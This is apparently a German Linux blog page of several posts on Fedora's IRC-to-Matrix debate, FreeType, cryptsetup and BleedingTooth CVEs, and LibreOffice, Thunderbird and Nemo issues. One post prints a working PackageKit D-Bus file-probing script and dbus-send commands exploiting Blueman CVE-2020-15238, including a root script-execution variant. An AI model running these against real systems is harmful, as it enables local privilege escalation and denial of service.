Fedora: Wechsel zu Matrix im Gespräch

Eine zum kleinen Teil hitzige Diskussion in der Fedora-Mailingliste, um einen möglichen Wechsel von IRC als Kommunikationskanal hin zu Matrix, hat letzte Nacht zu einem kräftigen „Emailchat“ geführt.

Fedora: Wechsel zu Matrix im Gespräch

Hinweis: Die folgenden Zitate sind stark auf das wesentliche gekürzt, ebenso die Namen. Wer es nativ nachlesen möchte, müßte sich das Archiv der Mailingliste von Fedora ansehen.

Matthew Miller vom Fedora Führungsgremium weitete die Diskussion um die Idee des Fedora Council’s auf die Fedora Mailingliste aus. Dazu lud er zu einer Videokonferenz aller interessierten Personen ein. In dem Meeting soll besprochen werden, daß IRC als Kommunikationskanal abgelöst und zu Matrix als „besserem“ System gewechselt werden sollte. Der an sich gute Vorschlag, über die Idee etwas breiter zu diskutieren, löste sofort Panikreaktionen einiger Listenteilnehmer aus.

„No, please. IRC bridges need to be closed to force users to switch to Matrix.“ V. Z.

Ursprünglich geplant war eine Brücke zwischen Matrix und IRC zu nutzen und so beide Systeme mit ihrem jeweiligen Vorteil zu betreiben. Zwischenzeitlich rutschte aber jemandem der Begriff „Force“ im Sinne von „Zwingen“ raus, was schon nach wenigen Minuten zur Detonation führte 😉

„force“? You may have said the quiet bit aloud … R.

gefolgt von:

„force“? You may have said the quiet bit aloud …

yes, it got my attention too … D.P.

Matthew Miller konnte dann die beruhigen, die schon eine Verschwörung witterten:

„To be clear, V.Z. isn’t an insider to some secret decision here. I think you should just read this as enthusiasm.“ M.M.

Matthew konnte dann auch den Plan etwas näher belegen, da schon einige Untergruppen auf Matrix gewechselt waren und wohl gut Erfahrungen gemacht haben. Selbst Red Hat unterstützt den Wechsel, weil sie dann auch bei sich auf die Erfahrungen von Fedora zurückgreifen können. Fedora ist ja bekanntermaßen der Testballon von Red Hat.

2h20m nach dem Start läutete dann T.H. den ersten kräftigen Downer ein, als er seine Testergebnisse präsentierte:

„More amusingly one of them crashed as soon as I logged in and a second went into a „your window is too small mode“ as soon
as I resized it to match my IRC client.“ T.H

Die Situation beruhigte sich etwas, falls man bei einem „Chat“ über Email da überhaupt von sprechen kann. Man konnte sogar noch etwas über die Fensterbedienshortcuts lernen:

You don’t have to grab by the edge to resize, GNOME has useful features:

– winkey+left mouse button inside the window let you move it (no need to target header bar)
– winkey+middle mouse button inside window let you resize closest edge

M.C. hatte dann die gleiche Idee wie ich, nur mir fiel nicht mehr ein, wo ich das gesehen hatte:

„Enjoy: https://github.com/matrix-org/purple-matrix/“ M.C.

Mir war nämlich auch so, daß es einen Matrixbackend für Pidgin geben würde, wo mit sich die Crashe beim Start von Programmen auf Pidgin beschränken würde. Ich erwähne das nur, weil mein Pidgin auf dem Tablet, auch gern Crashmeldungen sendet 😉 Damit ist es den Matrixclienten mindestens gleichwertig 🙂

Die Diskussion wird dann im Web weitergeführt:

https://discussion.fedoraproject.org/t/the-future-of-real-time-chat-discussion-for-the-fedora-council/24628

leider mit Discourse, und da hört es dann schon wieder auf. So blöd es klingt, aber die Matrixdiskussion im Discourse, könnte die Discourse Webseite bei Fedora dann überflüssig machen, weil die gleichen Features dann im selbstgehosteten Matrixserver wären, aus denen man Discourse benutzt hat 😀 Da wäre ich dann wieder dafür 😀

IMHO: Die Idee mit dem Matrixserver, zumal selbstgehostet, ist gar nicht blöd. Ich würde dies unterstützen, obwohl auch ich mal ein UUCP/IRC Dino war

 

CVE-2020-15999: Der Kelch, der an Euch vorbei ging

Nein, heute geht es nicht um Dichtung, eher um Undichtigkeiten in Betriebssystemen 😉

CVE-2020-15999: Der Kelch, der an Euch vorbei ging

Google’s Projekt Zero hat im Oktober eine Serie von kritischen Bugs offengelegt, mit deren Hilfe iOS, Android, Windows, Macs und Linuxsysteme übernommen werden konnten. Die Lücken sind so groß, daß Apple sogar noch Iphone 5s aktualisiert und die sind seit Jahren im End-of-Live.

Ein Blick auf eine dieser Lücken zeigte, daß diese auch für Linux vorhanden war, aber unter dem Radar bliebt: FreeType < 2.10.4

„Bug #1890210 – CVE-2020-15999 freetype: heap-based buffer overflow via malformed ttf files“

Red Hat hat dazu im Bugreport geschrieben:

„A flaw was found in freetype in the way it processes PNG images embedded into fonts. A crafted TTF file can lead to heap-based buffer overflow due to integer truncation in Load_SBit_Png function.“

Wer in den letzten Tagen die Updates verfolgt hat, weiß, daß es für Chrome, FireFox, Thunderbird eine schere Sicherheitslücke beim Webseitenaufruf gab. Über den Bug im FreeType, einer Font-Rendering-Engine, die auch und gerade in Webbrowsern genutzt wird, konnte mit Hilfe eines manipulierten Fontfiles, und da zählen auch WebFonts zu, das komplette System übernommen werden.

Diese Lücke betraf uns alle, und mit alle meine ich wirklich ALLE auf dem Planeten.

Wie kann eine so simple Sache wie einen Fontrendern, zu einer Systemübernahme führen? Das liegt daran, daß es sich hierbei wohl um den ersten Schritt in einer ganzen Exploitchain handelt. Hat man erstmal den Fuß im Chrome oder Firefox, muß man nur noch dort ausbrechen können und das war bei Chrome über einen Sandbox-Escape möglich. Danach findet sich im Kernel schon eine Schwachstelle, gerade bei Handies.

Von der Tragweite der Lücke mal abgesehen, rankt sich um die Google Veröffentlichung noch einiges andere. In der Szene munkelt man von „Spionagekram“, wozu auch paßt, daß keiner der Beteiligten dazu irgendwas sagen möchte. Nachdem der Exploit verbrannt ist, dürften die früheren Nutzer ziemlich sauer auf Google sein. Das Google uns aber nicht sagen kann, woher die Exploits stammen und wie Sie darauf aufmerksam wurden, spricht dafür, daß es ein „us-heimischer“ Dienst war, sonst wären die Antworten vermutlich anders. Aber, genaueres weiß man nicht, da keiner reden will.

Also feiert, daß ein Angriff weniger auf Euch möglich ist und wer von Euch Software schreibt, denkt bitte daran, wirklich sauber zu arbeiten, weil auch die unbedeutendste Lib einen immensen Schaden anrichten kann!

LUKS2: CVE-2020-14382 – out of bounds write

Zeit für ein Update von CryptSetup: CVE-2020-14382

LUKS2: CVE-2020-14382 – out of bounds write

CryptSetup ist das Tool, daß Luks Container, egal ob als Datei oder Festplatte, einhängt und/oder bearbeitet. Eine Lücke im Speicherhandling von CryptSetup kann von einem Angreifer ausgenutzt werden, indem er einen manipulierten Container einer anfälligen Version von CryptSetup präsentiert, was z.B. durch das Einstecken eines USB Sticks ausgelöst wird.

Die Lücke in CryptSetup sorgt dafür, daß weniger Speicher allokiert wird, als tatsächlich angegeben ist, aber von dem manipulierten Inhalt des Containers aufgrund mangelnder Grenzprüfungen, überschrieben werden kann. Damit gelangt ggf. Code an eine Stelle, die von einem anderen Prozess genutzt wird. Die Lücke CVE-2020-14382 kann also ggf. zu Arbitrary-Code-Execution führen, wenn es im System dumm läuft.

Daher empfehle ich Euch kurz mal nach dem Zustand Eures CryptSetup Befehls zu schauen und ggf. zu Updaten, denn auch wenn Ihr selbst keine Festplattenverschlüsslung benutzt, es reicht, daß das Paket auf dem System installiert ist und jemand einen USB Stick einsteckt.

Kleine Anmerkung zur Lage

Falls Ihr die Red Hat Securityliste lest, ist Euch auch aufgefallen, daß da heute ein ganzes Rudel (70+) Sicherheitsadvisories gekommen sind und die Bugs größtenteils Nummern aus 2018 und 2019 tragen? Ich glaube, da ist etwas arg schief gelaufen bei Red Hat.

Remmina: Live Video und Ton

Kleines Update zum RDP-Clienten Remmina.

Remmina: Live Video und Ton

Ohne groß etwas zu tun, kann Remmina seid einiger Zeit etwas mehr als xFreeRDP, nämlich Ton von einem Windowssystem abspielen. Es fiel mir beim Login eher nebenbei auf, daß der Windowsloginton kam, was sonst nicht passierte. Also habe ich da mal nachgeforscht und Youtube gestartet 🙂

Das Ergebnis kann sich sehen lassen, nicht nur, daß das Video ordentlich rüberkam, auch der Ton war syncron.

Tests mit XRDP als Server haben da leider ergeben, daß das nicht zwangsläufig so sein muß. Der kann das auch mit den richtigen PulseAudioLibs, aber gut funktioniert es nicht. Deswegen war ich auch so überrascht, daß es mit dem Windows RDP so gut lief.

Ihr könnt es ja selbst mal ausprobieren, da auf Seiten von Remmina nichts weiter eingestellt werden muß.

D-BUS: Schwachstellen mit Blueman und PackageKit

Da weiß man gar nicht, wie man anfangen soll, aber .. am Anfang war … D-BUS 🙂  Im neuen Ubuntu 20 … UPDATE: FEDORA 31 & 32 AUCH BETROFFEN …  wurden einige Sicherheitslücken gefunden, mit denen sich u.A. Dateien von Root finden lassen, auf die der Angreifer so gar nicht zugreifen könnte. Ob sich das nur auf Ubuntu bezieht, wird man sehen müssen.

D-BUS: Schwachstellen mit Blueman und PackageKit

Eine Information Disclosure Schwachstelle gibt es im Umgang mit D-BUS und PackageKit, so daß man als normaler angemeldeter Benutzer die Existenz von Dateien prüfen kann, die eigentlich nur Root überhaupt sehen könnte, bspw. alles was im /root/ Directory drin ist:

import dbus

bus = dbus.SystemBus()

apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit")
apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit")  

trans = apt_dbus_interface.CreateTransaction()

apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans)
apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction")

apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"])

Möglich macht das eine mangelnde Prüfung, ob der User überhaupt autorisiert ist, diese Anfrage stellen zu dürfen.Es stellt sich raus, Fedora 31 und 32 sind auch von der Schwachstelle betroffen und so sieht das dann aus:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.MimeTypeNotSupported: MIME type ‚text/plain‘ not supported /root/.bashrc

Das ist die Antwort für eine Datei, die vorhanden ist. Nachfolgend der gleiche Ablauf für eine Datei, die nicht vorhanden ist:

$ python3 ./d-bus-packagekit.py
Traceback (most recent call last):
File „./d-bus-packagekit.py“, line 13, in <module>
apt_trans_dbus_interface.InstallFiles(0, [„/root/.bashrc333“])
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 70, in __call__
return self._proxy_method(*args, **keywords)
File „/usr/lib64/python3.7/site-packages/dbus/proxies.py“, line 145, in __call__
**keywords)
File „/usr/lib64/python3.7/site-packages/dbus/connection.py“, line 651, in call_blocking
message, timeout)
dbus.exceptions.DBusException: org.freedesktop.PackageKit.Transaction.NoSuchFile: No such file /root/.bashrc333

Beurteilung:

  • – Man muß auf dem System als Benutzer angemeldet sein.
  • – Man muß sich mühseelig jede Datei einzeln vornehmen, was sich etwas automatisieren läßt, also schon wissen, was man sucht.
    – Man kann nicht auf den Inhalt schliessen.
  • – Es läßt sich so aber einfach feststellen, ob bestimmte Software installiert ist.

Ich halte die Lücke für nicht ganz so gravierend, man sollte sie aber schliessen. Bugreport an Fedora ist raus.

Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238)

Die Blueman Lücke ist deutlich schlimmer, da man darüber Befehle ausführen kann. Das läßt sich zudem trivial ausnutzen:

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down"

ens33 ist das Netzwerkinterface. Funktionieren tut das aber nur dann, wenn auch der dhcpcd installiert ist, was nicht zwangsweise so sein muß. Der Fedora Default ist der dh_client, der so scharf kontrolliert, was man ihm da über den D-BUS übergibt, daß man diese Lücke nur für einen DOS, aber nicht für die Local Privilege Escalation Attacke ausnutzen kann. Die würde so funktionieren:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/bashscript"

Also vorher ein Script anlegen, daß root dann ausführen darf => GGS .. Ganz Große Scheiße!

Wenn Ihr also Blueman und Ubuntu 20 benutzt, dann sorgt doch mal für ein paar Updates auf Eurem System 😉

 

 

Libreoffice: Das Spreadsheet of Death

Vor einigen Wochen fiel jemandem auf, daß sein PC jedes mal lahmte, wenn er im LibreOffice eine bestimmte Tabelle ansah und editieren wollte. Das Tabellenblatt war aber gar nicht so groß, wie man glauben könnte, aber es war …

Das Spreadsheet of Death

Was passiert mit einem Linuxsystem, wenn der Xorg-Serverprozess bei 100% ankommt? Es bleibt faktisch stehen. Wer das mal live mit Libreoffice auf einem Ryzen 1500X erleben will, der kann sich noch dies Dokument ziehen: Das Spreadsheet of Death Beispiel. Das richtige ist leider wegen Datenschutz nicht öffentlich verfügbar und war ein bisschen länger.

Die Ursache ist, daß der Spellchecker, also die Rechtschreibkorrektur, alle Feldinhalte immer und immer wieder prüft, für falsch betrachtet und dann mit einem neuen Antialising-Malframework einen blauen oder roten Krikkel unter den Feldeintrag zeichnet.  Das neue Framework ist aber so inperformant, daß der Xorg Prozess auf einem CPU Kern bei 100% Last arbeitet.

Bei jedem Scrollen geht die Rechtschreibkorrektur wieder von vorn los, was direkt zum zähesten PC Erlebnis ever führt.  In TOP sah das dann so aus:

[~]$ top -c -b -n 1 | head -n 20
top - 11:54:26 up  2:01,  1 user,  load average: 0,51, 0,28, 0,20
Tasks: 409 total,   2 running, 407 sleeping,   0 stopped,   0 zombie
%Cpu(s): 14,2 us,  2,1 sy,  0,0 ni, 83,0 id,  0,0 wa,  0,0 hi,  0,7 si,  0,0 st
MiB Mem :  15967,5 total,   5456,9 free,   5122,1 used,   5388,4 buff/cache
MiB Swap:   7810,9 total,   7810,9 free,      0,0 used.  10141,6 avail Mem 

    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
   1957 root      20   0  857132 191608 150596 R 100,0   1,2   6:16.45 /usr/libexec/Xorg vt2 -displayfd 3 -auth /run/u+
   2452 marius    20   0 3841504 252908 104348 S   6,2   1,5   4:15.81 cinnamon --replace
  13809 marius    20   0  126080  10728   8724 S   6,2   0,1   0:01.11 ssh -C -Y xxx@yy.yy.yy.yy
  14410 marius    20   0  116004   4228   3412 R   6,2   0,0   0:00.02 top -c -b -n 1
      1 root      20   0  171508  15268   9792 S   0,0   0,1   0:04.67 /usr/lib/systemd/systemd --switched-root --syst+
      2 root      20   0       0      0      0 S   0,0   0,0   0:00.01 [kthreadd]
      3 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [rcu_gp]
      4 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [rcu_par_gp]
      6 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [kworker/0:0H-kblockd]
      7 root      20   0       0      0      0 I   0,0   0,0   0:03.58 [kworker/u16:0-kcryptd/253:0]
      8 root       0 -20       0      0      0 I   0,0   0,0   0:00.00 [mm_percpu_wq]
      9 root      20   0       0      0      0 S   0,0   0,0   0:00.08 [ksoftirqd/0]
     10 root      20   0       0      0      0 I   0,0   0,0   0:02.65 [rcu_sched]

Das wurde nicht nur über den Bugzilla von RedHat berichtet, sondern auch von anderer Seite an die Entwickler bei LibreOffice gemeldet. Daher gibt es jetzt, so gefühlt 4 Monate später, einen Bugfix:

https://cgit.freedesktop.org/libreoffice/core/commit/?id=bdd149b1ff3d43b94cadc0d43365100c287c7639

Improve spell checking performance and impl. in several ways:
* do synchronous spell checking, avoiding an idle handler
* avoid continuous invalidations caused per-cell by spell-checking
* cache spell-checking information for a given SharedString to avoid repeated checking of frequently recurring strings.

 

Das mit dem Cache für gleiche Inhalte hätte man glaube ich bei Version 0.1 einbauen sollen, das ist nämlich naheliegend 😉

Jetzt fragt Ihr Euch, wieso berichte ich erst jetzt davon… Tja, „a maliciously crafted document can lead to a DOS like attack on linux“. Das wollten wir natürlich nicht noch fördern 😉  Es werden zwar nur die sichtbaren Zeilen geprüft, aber alle Spalten. Da jetzt der Patch vorliegt und verteilt wird, kann man es ruhig erzählen 🙂

Thunderbird 78.3.1 Update mit kleinen Themebugs

Das Update von Thunderbird 78.3 ist nicht ganz so gut gelaufen, wie es sollte.

Thunderbird 78.3.1 Update mit kleinen Themebugs

Das gestern von Fedora präsentiere Update auf Thunderbird 78.3.1 hat leider kleine Bugs bei der Themeimplementierung:

Das bekommt man, wenn man die Themes umstellt von Default -> Dark -> Light -> Default  🙂

Als Folge sind Highlights dann weiße Schrift auf weißem Hintergrund, auch bekannt als die ostfriesische Nationalflagge.

Beheben läßt sich das zum Glück ganz einfach: Theme auswählen und Thunderbird neustarten.

Und auch beim Layout des „Neue Email schreiben“ Fensters gibt es kleine, wenn auch nicht sofort ersichtliche Fehlinterpretationen von „Das soll so sein“ :

Ich glaube nicht, daß es soooo geplant war 😉

Ganz klar, die alte Version mit An:, CC: und BCC: untereinander war IMHO besser, wird aber vermutlich ein ähnliches Verhalten gehabt haben. Der Fehler, wenn man so will, ist hier eigentlich, daß man es überhaupt soweit aufziehen kann, obwohl die UI Elemente das gar nicht nötig haben. Da fehlt so etwas wie ein max-height: im CSS 😉

Was man in den Bildern jetzt nur ganz schlecht zu erkennen ist, daß sich auch der Default Icon Satz geändert hat. Er entspricht jetzt einem HIGH-Contrast Iconsatz für sehbehinderte Menschen. Das ist nicht nur mir ausgefallen. Auch dies wurde Thunderbird als Bug gemeldet, denn im System ist „Gnome“ als Iconsatz eingestellt und da hat sich TB bislang auch dran gehalten.

Der neue Iconsatz ist zu dem etwas größer bei den Element-Abständen eingestellt, was zwar auf einem Tablet besser sein wird, aber leider bei einem 20 Konten. mit jeweils 40 Unterordnern, Thunderbird nur eine unnötige Platzverschwendung darstellt.

Die Thunderbird-Telemetriedaten

Nicht ganz so erfreulich, aber zum Glück abwählbar, ist die Zwangsaktivierung der Telemetriedaten.

Diverse Nutzer, meine Wenigkeit inklusive, konnten nachweisen, daß die Übermittlung der Telemetriedaten an Thunderbird vor dem Update ausgeschaltet war und automatisch aktiviert wurde. Ihr solltet das also genau prüfen, wenn Ihr jetzt 78.3.1 oder schon 74.x bekommen habt.

Hier könnt Ihr das abschalten:

Wie man sehen kann, war das die Schwarz-Weiße-Phase nach dem Themewechseltest 😀

Die Thunderbird Devs sind dran, auch wenn Sie wenig begeistert waren, daß mehrere Fehler in einem Bugreport gemeldet wurden. Das bringt mich auch gleich zum Abschluß, denn ..

Eine Sache muß ich noch gerade ziehen

Ich hatte heute morgen einen Datenschutzverstoß von Thunderbird gemeldet. Dieser konnte gegen 21 Uhr zu meiner Zufriedenheit von den Thunderbird Devs aufgeklärt werden und ist damit erledigt. Die Datenschutzbeschwerde beim LFD und BFD bereits durch mich zurückgezogen und als erledigt erklärt worden.

Damit Ihr diese Nachricht auch findet, wenn Ihr der alten Artikelurl folgt, wurde dieser Artikel als Ersatz eingestellt. Das ist also der Grund wieso Ihr etwas anderes gesehen habt, als Ihr vielleicht erwartet habt.

 

Nemo: kleines Datenspurenproblem

Moin,

auf der Suche nach einer Erklärung wieso Nemo ständig mit unsortierten Verzeichnislisten startet, statt der eingestellten alphabetischen Reihenfolge, stieß ich auf ein kleines Datenspurenproblem.

Nemo: kleines Datenspurenproblem

Nemo, der Dateiexplorer von Cinnamon, merkt sich die Position jedes Icons auf dem Desktop in einer Datei: ~./config/nemo/desktop-metadata

Wenn man wie ich noch Restbestände aus der Steinzeit des Digitalen Films vorrätig hat, damit man bei Internetausfall, NetFlixpleite oder Implosion von Amazon+ noch Unterhaltung einspielen kann, hat man ein Problem. Auch wenn Ihr häufig Live-Images mountet, USB Sticks benutzt oder sonstige Laufwerke auf Eurem Desktop aufpoppen habt, dann seid auch Ihr von der Nemo-Datenspuren-Panne betroffen.

Jedesmal, wenn ein Laufwerk gemountet wird, erscheint dazu ein Icon auf dem Desktop. Ein Icon auf dem Desktop muß eine Position haben und die muß man als Desktopmanager speichern. Das passiert in obiger Datei.

Am Ende sieht diese Datei dann leider so aus:


[mtp.volume]
nemo-icon-position=91,834
monitor=0
icon-scale=1
nemo-icon-position-timestamp=1499790545

[THE_HOBBIT_AUJ_EXTENDED_PART_2.volume]
nemo-icon-position=221,34
monitor=0
icon-scale=1
nemo-icon-position-timestamp=1507039069

Damit speichert diese Datei leider mehr als genug um interessant zu sein: Name und Datum der Erstsichtung des Mediums. Alleine schon, daß man sehen kann, welchen Film man sich angesehen oder welchen USB Stick man benutzt hat, ist schon erschreckend, aber dazu noch das Datum + Uhrzeit auf die ms genau, ist ein Log das nicht sein sollte.

Das merken des Datums ist für den Zweck außerdem völlig unnötig, außer man würde bei jedem mal, wenn man das Icon benutzt, den Stand aktualisieren und alle die Icons löschen, die seit X Monaten nicht mehr benutzt wurden. Das passiert leider nicht.

Um es Euch einfach zu machen, habe ich da mal was zusammen gebastelt:

$ grep timestamp desktop-metadata | sed -e „s/^.*=//g“ | awk ‚{print „date –date=\“@“$1″\““;}‘ | bash

Für etwas Wissbegierigere:

#!/bin/bash

ALISTE=$(cat $1)

for line in $ALISTE; do

if [[ "$line" == *"volume"* ]]; then
       echo $line;
fi

if [[ "$line" == *"timestamp="* ]]; then
       echo "$line"| sed -e "s/^.*=//g" | awk '{print "date --date=\"@"$1"\"";}' | bash
fi

done

kommt das bei raus u.a.:

[DIE_KAENGURU-CHRONIKEN.volume]
Di 8. Sep 17:11:15 CEST 2020
[Fedora-WS-Live-32-1-6.volume]
Di 29. Sep 17:58:48 CEST 2020
[Fedora-WS-Live-33_B-1-3.volume]
Do 1. Okt 13:04:21 CEST 2020
[Fedora-WS-Live-33_B-1-3.volume.2]
Mi 30. Sep 23:51:27 CEST 2020

[Kommentarspur: Ja ich geb es zu, ich hab ihn gesehen und er war nicht so toll. Ich hatte da mehr auf Jesus,Gott und die DNA Bombe gehofft 😀]

Da Volumen mit Icon auch alles das ist, was man per SSHFS, CUTEFS, FTPMOUNT usw. mountet, verrät diese Datei auch auf welchen Servern man unterwegs war.  Das sind alles META-Daten die nicht sein müßten.

Den Namen des Volumens könnte mit SHA256 hashen, mit einem per-PC-Salt natürlich, das Datum könnte als Löschdatum benutzt werden und so zur Selbstreinigung beitragen. Das sind nur minimale Änderungen, würden die ganze Sache aber komplett entschärfen!

Daher werde ich mich da mal wieder mit Scott rumprügeln müssen, da er dafür Verantwortung zeigt 🙁

Allemal sind diese und andere Dateien Ihres Types, ein Argument für eine pauschale Festplattenvollverschlüsselung beim Setup eines PCs.

Fedora: Kernelupdates für BleedingTooth verfügbar

Moin, wie ich gerade gesehen habe, sind die Patche für die 5.8er Kernels bereits in Fedora eingepflegt und die Kernel bereitgestellt worden.

Fedora: Kernelupdates für BleedingTooth verfügbar

This update contains patches for the BleedingTooth CVEs.
The 5.8.15 stable kernel update contains a number of important fixes across the tree.
The 5.8.14 stable kernel update contains a number of important fixes across the tree.

IN YOUR FACE, ANDROID. <24h, so geht das mit Kernelupdates bei Sicherheitslücken!

Danke Justin.

FunFact: Einige Mirrors habe die Updates noch nicht im Programm. Das resultiert in einer langen Fehlermeldungskette beim DNF, wird aber am Ende niemanden stören 🙂

[MIRROR] kernel-5.8.15-101.fc31.x86_64.rpm: Status code: 404 for https://mirror.dogado.de/fedora/linux/updates/31/Everything/x86_64/Packages/k/kernel-5.8.15-101.fc31.x86_64.rpm (IP: 185.3.234.216)
[MIRROR] kernel-core-5.8.15-101.fc31.x86_64.rpm: Status code: 404 for https://mirror.dogado.de/fedora/linux/updates/31/Everything/x86_64/Packages/k/kernel-core-5.8.15-101.fc31.x86_64.rpm (IP: 185.3.234.216)
[MIRROR] kernel-5.8.15-101.fc31.x86_64.rpm: Status code: 404 for http://mirror.dogado.de/fedora/linux/updates/31/Everything/x86_64/Packages/k/kernel-5.8.15-101.fc31.x86_64.rpm (IP: 185.3.234.216)

[MIRROR] kernel-modules-5.8.15-101.fc31.x86_64.rpm: Status code: 404 for http://ftp.icm.edu.pl/pub/Linux/fedora/linux/updates/31/Everything/x86_64/Packages/k/kernel-modules-5.8.15-101.fc31.x86_64.rpm (IP: 2001:6a0:0:31::2)
[MIRROR] kernel-core-5.8.15-101.fc31.x86_64.rpm: Status code: 404 for https://ftp.icm.edu.pl/pub/Linux/fedora/linux/updates/31/Everything/x86_64/Packages/k/kernel-core-5.8.15-101.fc31.x86_64.rpm (IP: 2001:6a0:0:31::2)
[MIRROR] kernel-modules-5.8.15-101.fc31.x86_64.rpm: Status code: 404 for https://ftp.icm.edu.pl/pub/Linux/fedora/linux/updates/31/Everything/x86_64/Packages/k/kernel-modules-5.8.15-101.fc31.x86_64.rpm (IP: 2001:6a0:0:31::2)

Ein anderer Mirror hatte das Paket dann doch schon, er ist nur nicht der schnellste.

BleedingTooth: Remote Code Execution in BlueZ Kernelstack

Kritische Sicherheitslücke im Bluetooth-Stack von Linux und Android entdeckt. Bluetooth eingeschaltet zu haben, reicht aus um angreifbar zu sein.

BleedingTooth: Remote Code Execution in BlueZ Kernelstack

Kritische Sicherheitslücke im Bluetooth-Stack von Linux vor Kernel 5.9 entdeckt. Der Fix wurde am 29.9. bereits heimlich in einen Kernel Branch eingepflegt und wartet seitdem auf den Merge in den Hauptkernel. Erst für Kernel 5.9 war das der Fall, so daß derzeit alle Geräte die mit Linux angreifbar sind, bis auch dort Backportpatche verfügbar sind.

Gefunden hatten diese Lücken Intel ( „Intel – wie konnte das passieren, die finden doch sonst nichts“ )  und Google. Bei Google kann ich das verstehen, die verdienen damit Geld, aber Intel? 😉

Also RCE, Remote Code Execution, und das auch noch ohne Anmeldung. Meint: Jedes Gerät mit aktiviertem Bluetooth in der Nähe ist angreifbar, nur weil es da ist. BleedingTooth ist dabei nicht nur eine Lücke, sondern ein ganzes Sammelsurium an Schwachstellen, die kombiniert, den RCE mit Privilegien Eskalation erlauben.

Bis auf weiteres: BlueTooth abschalten!

Quellen:

https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00435.html

https://github.com/google/security-research/security/advisories/GHSA-h637-c88j-47wq  ( Die erlaubt die Code Ausführung )